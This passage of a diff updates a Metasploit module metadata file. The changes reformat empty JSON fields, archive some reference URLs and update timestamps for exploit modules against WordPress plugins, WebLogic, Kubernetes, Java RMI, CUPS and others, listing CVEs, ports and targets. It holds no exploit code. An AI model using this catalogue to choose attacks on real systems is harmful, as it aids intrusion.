"exploit/multi/http/wp_crop_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-19", "type": "exploit", @@ -118368,9 +105398,7 @@ "exploit_multi/http/wp_db_backup_rce": { "name": "WP Database Backup RCE", "fullname": "exploit/multi/http/wp_db_backup_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-24", "type": "exploit", @@ -118411,17 +105439,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/wp_dnd_mul_file_rce": { "name": "Wordpress Drag and Drop Multi File Uploader RCE", "fullname": "exploit/multi/http/wp_dnd_mul_file_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-11", "type": "exploit", @@ -118481,9 +105506,7 @@ "exploit_multi/http/wp_file_manager_rce": { "name": "WordPress File Manager Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_file_manager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-09-09", "type": "exploit", @@ -118543,9 +105566,7 @@ "exploit_multi/http/wp_givewp_rce": { "name": "GiveWP Unauthenticated Donation Process Exploit", "fullname": "exploit/multi/http/wp_givewp_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-08-25", "type": "exploit", @@ -118613,9 +105634,7 @@ "exploit_multi/http/wp_hash_form_rce": { "name": "WordPress Hash Form Plugin RCE", "fullname": "exploit/multi/http/wp_hash_form_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-23", "type": "exploit", @@ -118676,9 +105695,7 @@ "exploit_multi/http/wp_litespeed_cookie_theft": { "name": "Wordpress LiteSpeed Cache plugin cookie theft", "fullname": "exploit/multi/http/wp_litespeed_cookie_theft", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-09-04", "type": "exploit", @@ -118739,9 +105756,7 @@ "exploit_multi/http/wp_ninja_forms_unauthenticated_file_upload": { "name": "WordPress Ninja Forms Unauthenticated File Upload", "fullname": "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-05-04", "type": "exploit", @@ -118783,17 +105798,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/wp_plugin_backup_guard_rce": { "name": "Wordpress Plugin Backup Guard - Authenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_plugin_backup_guard_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-04", "type": "exploit", @@ -118856,9 +105868,7 @@ "exploit_multi/http/wp_plugin_elementor_auth_upload_rce": { "name": "Wordpress Plugin Elementor Authenticated Upload Remote Code Execution", "fullname": "exploit/multi/http/wp_plugin_elementor_auth_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-29", "type": "exploit", @@ -118920,9 +105930,7 @@ "exploit_multi/http/wp_plugin_fma_shortcode_unauth_rce": { "name": "Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode", "fullname": "exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-31", "type": "exploit", @@ -118987,9 +105995,7 @@ "exploit_multi/http/wp_plugin_modern_events_calendar_rce": { "name": "Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_plugin_modern_events_calendar_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-29", "type": "exploit", @@ -119050,9 +106056,7 @@ "exploit_multi/http/wp_plugin_sp_project_document_rce": { "name": "Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_plugin_sp_project_document_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-06-14", "type": "exploit", @@ -119111,9 +106115,7 @@ "exploit_multi/http/wp_popular_posts_rce": { "name": "Wordpress Popular Posts Authenticated RCE", "fullname": "exploit/multi/http/wp_popular_posts_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-06-11", "type": "exploit", @@ -119178,9 +106180,7 @@ "exploit_multi/http/wp_reallysimplessl_2fa_bypass_rce": { "name": "WordPress Really Simple SSL Plugin Authentication Bypass to RCE", "fullname": "exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-14", "type": "exploit", @@ -119242,9 +106242,7 @@ "exploit_multi/http/wp_responsive_thumbnail_slider_upload": { "name": "WordPress Responsive Thumbnail Slider Arbitrary File Upload", "fullname": "exploit/multi/http/wp_responsive_thumbnail_slider_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-28", "type": "exploit", @@ -119284,17 +106282,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/wp_royal_elementor_addons_rce": { "name": "WordPress Royal Elementor Addons RCE", "fullname": "exploit/multi/http/wp_royal_elementor_addons_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-23", "type": "exploit", @@ -119353,9 +106348,7 @@ "exploit_multi/http/wp_simple_file_list_rce": { "name": "WordPress Simple File List Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_simple_file_list_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-04-27", "type": "exploit", @@ -119416,9 +106409,7 @@ "exploit_multi/http/wp_time_capsule_file_upload_rce": { "name": "WordPress WP Time Capsule Arbitrary File Upload to RCE", "fullname": "exploit/multi/http/wp_time_capsule_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-15", "type": "exploit", @@ -119480,9 +106471,7 @@ "exploit_multi/http/wso2_api_manager_file_upload_rce": { "name": "WSO2 API Manager Documentation File Upload Remote Code Execution", "fullname": "exploit/multi/http/wso2_api_manager_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-31", "type": "exploit", @@ -119546,9 +106535,7 @@ "exploit_multi/http/wso2_file_upload_rce": { "name": "WSO2 Arbitrary File Upload to RCE", "fullname": "exploit/multi/http/wso2_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-01", "type": "exploit", @@ -119611,9 +106598,7 @@ "exploit_multi/http/x7chat2_php_exec": { "name": "X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution", "fullname": "exploit/multi/http/x7chat2_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-27", "type": "exploit", @@ -119655,17 +106640,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/zabbix_script_exec": { "name": "Zabbix Authenticated Remote Command Execution", "fullname": "exploit/multi/http/zabbix_script_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -119725,9 +106707,7 @@ "exploit_multi/http/zemra_panel_rce": { "name": "Zemra Botnet CnC Web Panel Remote Code Execution", "fullname": "exploit/multi/http/zemra_panel_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -119771,17 +106751,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/zenworks_configuration_management_upload": { "name": "Novell ZENworks Configuration Management Arbitrary File Upload", "fullname": "exploit/multi/http/zenworks_configuration_management_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-07", "type": "exploit", @@ -119822,17 +106799,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/zenworks_control_center_upload": { "name": "Novell ZENworks Configuration Management Remote Execution", "fullname": "exploit/multi/http/zenworks_control_center_upload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-22", "type": "exploit", @@ -119877,17 +106851,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/zpanel_information_disclosure_rce": { "name": "Zpanel Remote Unauthenticated RCE", "fullname": "exploit/multi/http/zpanel_information_disclosure_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-30", "type": "exploit", @@ -119935,17 +106906,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/ids/snort_dce_rpc": { "name": "Snort 2 DCE/RPC Preprocessor Buffer Overflow", "fullname": "exploit/multi/ids/snort_dce_rpc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-02-19", "type": "exploit", @@ -119966,12 +106934,8 @@ "platform": "Linux,Windows", "arch": "", "rport": 139, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal", "Redhat 8" @@ -119983,17 +106947,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/iiop/cve_2023_21839_weblogic_rce": { "name": "Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization", "fullname": "exploit/multi/iiop/cve_2023_21839_weblogic_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-17", "type": "exploit", @@ -120008,22 +106969,18 @@ "URL-https://www.oracle.com/security-alerts/cpujan2023.html", "URL-https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md", "URL-https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md", - "URL-https://github.com/4ra1n/CVE-2023-21839", + "URL-http://web.archive.org/web/20230831012940/https://github.com/4ra1n/CVE-2023-21839", "URL-https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability" ], "platform": "", "arch": "", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux" ], - "mod_time": "2023-06-09 12:24:35 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb", "is_install_path": true, "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce", @@ -120047,9 +107004,7 @@ "exploit_multi/kubernetes/exec": { "name": "Kubernetes authenticated code execution", "fullname": "exploit/multi/kubernetes/exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-10-01", "type": "exploit", @@ -120058,9 +107013,7 @@ "Spencer McIntyre" ], "description": "Execute a payload within a Kubernetes pod.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -120109,16 +107062,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/allwinner_backdoor": { "name": "Allwinner 3.4 Legacy Kernel Local Privilege Escalation", "fullname": "exploit/multi/local/allwinner_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-30", "type": "exploit", @@ -120136,12 +107085,8 @@ "platform": "Android,Linux", "arch": "armle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -120168,16 +107113,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc": { "name": "MagniComp SysInfo mcsiwrapper Privilege Escalation", "fullname": "exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-09-23", "type": "exploit", @@ -120197,12 +107138,8 @@ "platform": "Linux,Solaris", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Solaris", @@ -120231,16 +107168,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/obsidian_plugin_persistence": { "name": "Obsidian Plugin Persistence", "fullname": "exploit/multi/local/obsidian_plugin_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-16", "type": "exploit", @@ -120259,12 +107192,8 @@ "platform": "Linux,OSX,Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto", "Linux", @@ -120295,16 +107224,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/vagrant_synced_folder_vagrantfile_breakout": { "name": "Vagrant Synced Folder Vagrantfile Breakout", "fullname": "exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-01-19", "type": "exploit", @@ -120320,12 +107245,8 @@ "platform": "Ruby", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ruby Code", "Unix Command" @@ -120356,16 +107277,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/xorg_x11_suid_server": { "name": "Xorg X11 Server SUID logfile Privilege Escalation", "fullname": "exploit/multi/local/xorg_x11_suid_server", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-10-25", "type": "exploit", @@ -120388,12 +107305,8 @@ "platform": "Linux,OpenBSD", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenBSD", "Linux x64", @@ -120423,16 +107336,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_multi/local/xorg_x11_suid_server_modulepath": { "name": "Xorg X11 Server SUID modulepath Privilege Escalation", "fullname": "exploit/multi/local/xorg_x11_suid_server_modulepath", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-10-25", "type": "exploit", @@ -120452,12 +107361,8 @@ "platform": "Linux,Solaris,Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x64", "Linux x86", @@ -120487,16 +107392,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_multi/misc/apache_activemq_rce_cve_2023_46604": { "name": "Apache ActiveMQ Unauthenticated Remote Code Execution", "fullname": "exploit/multi/misc/apache_activemq_rce_cve_2023_46604", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-27", "type": "exploit", @@ -120515,12 +107416,8 @@ "platform": "Linux,Unix,Windows", "arch": "cmd", "rport": 61616, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux", @@ -120550,9 +107447,7 @@ "exploit_multi/misc/arkeia_agent_exec": { "name": "Western Digital Arkeia Remote Code Execution", "fullname": "exploit/multi/misc/arkeia_agent_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-10", "type": "exploit", @@ -120568,12 +107463,8 @@ "platform": "", "arch": "", "rport": 617, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -120585,17 +107476,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/misc/batik_svg_java": { "name": "Squiggle 1.7 SVG Browser Java Code Execution", "fullname": "exploit/multi/misc/batik_svg_java", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-11", "type": "exploit", @@ -120612,12 +107500,8 @@ "platform": "Java,Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -120630,17 +107514,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/bmc_patrol_cmd_exec": { "name": "BMC Patrol Agent Privilege Escalation Cmd Execution", "fullname": "exploit/multi/misc/bmc_patrol_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-01-17", "type": "exploit", @@ -120655,12 +107536,8 @@ "platform": "Linux,Windows", "arch": "", "rport": 3181, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Powershell Injected Shellcode", "Generic Command Callback" @@ -120672,17 +107549,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/bmc_server_automation_rscd_nsh_rce": { "name": "BMC Server Automation RSCD Agent NSH Remote Command Execution", "fullname": "exploit/multi/misc/bmc_server_automation_rscd_nsh_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-16", "type": "exploit", @@ -120701,12 +107575,8 @@ "platform": "Linux,Unix,Windows", "arch": "", "rport": 4750, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows/VBS Stager", @@ -120720,17 +107590,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/calibre_exec": { "name": "Calibre Python Code Injection (CVE-2024-6782)", "fullname": "exploit/multi/misc/calibre_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-07-31", "type": "exploit", @@ -120789,9 +107656,7 @@ "exploit_multi/misc/claymore_dual_miner_remote_manager_rce": { "name": "Nanopool Claymore Dual Miner APIs RCE", "fullname": "exploit/multi/misc/claymore_dual_miner_remote_manager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-02-09", "type": "exploit", @@ -120803,40 +107668,33 @@ "references": [ "EDB-44638", "CVE-2018-1000049", - "URL-https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/" + "URL-http://web.archive.org/web/20200809230426/https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution" ], "platform": "Linux,Windows", "arch": "", "rport": 3333, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target", "Linux", "Windows" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb", "is_install_path": true, "ref_name": "multi/misc/claymore_dual_miner_remote_manager_rce", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/consul_rexec_exec": { "name": "Hashicorp Consul Remote Command Execution via Rexec", "fullname": "exploit/multi/misc/consul_rexec_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-11", "type": "exploit", @@ -120879,17 +107737,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/consul_service_exec": { "name": "Hashicorp Consul Remote Command Execution via Services API", "fullname": "exploit/multi/misc/consul_service_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-11", "type": "exploit", @@ -120933,17 +107788,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/cups_ipp_remote_code_execution": { "name": "CUPS IPP Attributes LAN Remote Code Execution", "fullname": "exploit/multi/misc/cups_ipp_remote_code_execution", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-09-26", "type": "exploit", @@ -120972,12 +107824,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Default" ], @@ -121006,9 +107854,7 @@ "exploit_multi/misc/erlang_cookie_rce": { "name": "Erlang Port Mapper Daemon Cookie RCE", "fullname": "exploit/multi/misc/erlang_cookie_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-20", "type": "exploit", @@ -121023,12 +107869,8 @@ "platform": "", "arch": "", "rport": 25672, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Linux (CmdStager)", @@ -121042,17 +107884,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/freeswitch_event_socket_cmd_exec": { "name": "FreeSWITCH Event Socket Command Execution", "fullname": "exploit/multi/misc/freeswitch_event_socket_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-03", "type": "exploit", @@ -121067,12 +107906,8 @@ "platform": "BSD,Linux,Unix,Windows", "arch": "cmd, x86, x64", "rport": 8021, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix (In-Memory)", "Linux (Dropper)", @@ -121087,17 +107922,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/misc/hp_data_protector_exec_integutil": { "name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution", "fullname": "exploit/multi/misc/hp_data_protector_exec_integutil", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-10-02", "type": "exploit", @@ -121112,12 +107944,8 @@ "platform": "", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux 64 bits / HP Data Protector 9", "Windows 64 bits / HP Data Protector 9" @@ -121129,17 +107957,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/hp_vsa_exec": { "name": "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", "fullname": "exploit/multi/misc/hp_vsa_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-11", "type": "exploit", @@ -121159,12 +107984,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 13838, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "HP VSA up to 8.5", @@ -121177,17 +107998,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/ibm_tm1_unauth_rce": { "name": "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution", "fullname": "exploit/multi/misc/ibm_tm1_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-19", "type": "exploit", @@ -121205,12 +108023,8 @@ "platform": "", "arch": "", "rport": 5498, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Windows (Command)", @@ -121244,9 +108058,7 @@ "exploit_multi/misc/indesign_server_soap": { "name": "Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution", "fullname": "exploit/multi/misc/indesign_server_soap", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-11", "type": "exploit", @@ -121288,17 +108100,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/java_jdwp_debugger": { "name": "Java Debug Wire Protocol Remote Code Execution", "fullname": "exploit/multi/misc/java_jdwp_debugger", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-12", "type": "exploit", @@ -121320,12 +108129,8 @@ "platform": "Linux,OSX,Windows", "arch": "armle, aarch64, x86, x64", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux (Native Payload)", "OSX (Native Payload)", @@ -121338,17 +108143,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/misc/java_jmx_server": { "name": "Java JMX Server Insecure Configuration Java Code Execution", "fullname": "exploit/multi/misc/java_jmx_server", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-22", "type": "exploit", @@ -121483,17 +108285,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/java_rmi_server": { "name": "Java RMI Server Insecure Default Configuration Java Code Execution", "fullname": "exploit/multi/misc/java_rmi_server", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-15", "type": "exploit", @@ -121502,7 +108301,7 @@ ], "description": "This module takes advantage of the default configuration of the RMI Registry and\n RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it\n invokes a method in the RMI Distributed Garbage Collector which is available via every\n RMI endpoint, it can be used against both rmiregistry and rmid, and against most other\n (custom) RMI endpoints as well.\n\n Note that it does not work against Java Management Extension (JMX) ports since those do\n not support remote class loading, unless another RMI endpoint is active in the same\n Java process.\n\n RMI method calls do not support or require any sort of authentication.", "references": [ - "URL-http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html", + "URL-http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html", "URL-http://www.securitytracker.com/id?1026215", "CVE-2011-3556" ], @@ -121624,24 +108423,21 @@ "Mac OS X PPC (Native Payload)", "Mac OS X x86 (Native Payload)" ], - "mod_time": "2023-10-09 17:58:00 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/misc/java_rmi_server.rb", "is_install_path": true, "ref_name": "multi/misc/java_rmi_server", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/jboss_remoting_unified_invoker_rce": { "name": "JBOSS EAP/AS Remoting Unified Invoker RCE", "fullname": "exploit/multi/misc/jboss_remoting_unified_invoker_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-11", "type": "exploit", @@ -121657,12 +108453,8 @@ "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": 4446, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -121692,9 +108484,7 @@ "exploit_multi/misc/legend_bot_exec": { "name": "Legend Perl IRC Bot Remote Code Execution", "fullname": "exploit/multi/misc/legend_bot_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-27", "type": "exploit", @@ -121711,12 +108501,8 @@ "platform": "Unix,Windows", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Legend IRC Bot" ], @@ -121727,17 +108513,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/msf_rpc_console": { "name": "Metasploit RPC Console Command Execution", "fullname": "exploit/multi/misc/msf_rpc_console", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-05-22", "type": "exploit", @@ -121752,12 +108535,8 @@ "platform": "Ruby,Unix,Windows", "arch": "", "rport": 55552, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ruby", "Windows CMD", @@ -121770,17 +108549,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/msfd_rce_remote": { "name": "Metasploit msfd Remote Code Execution", "fullname": "exploit/multi/misc/msfd_rce_remote", - "aliases": [ - - 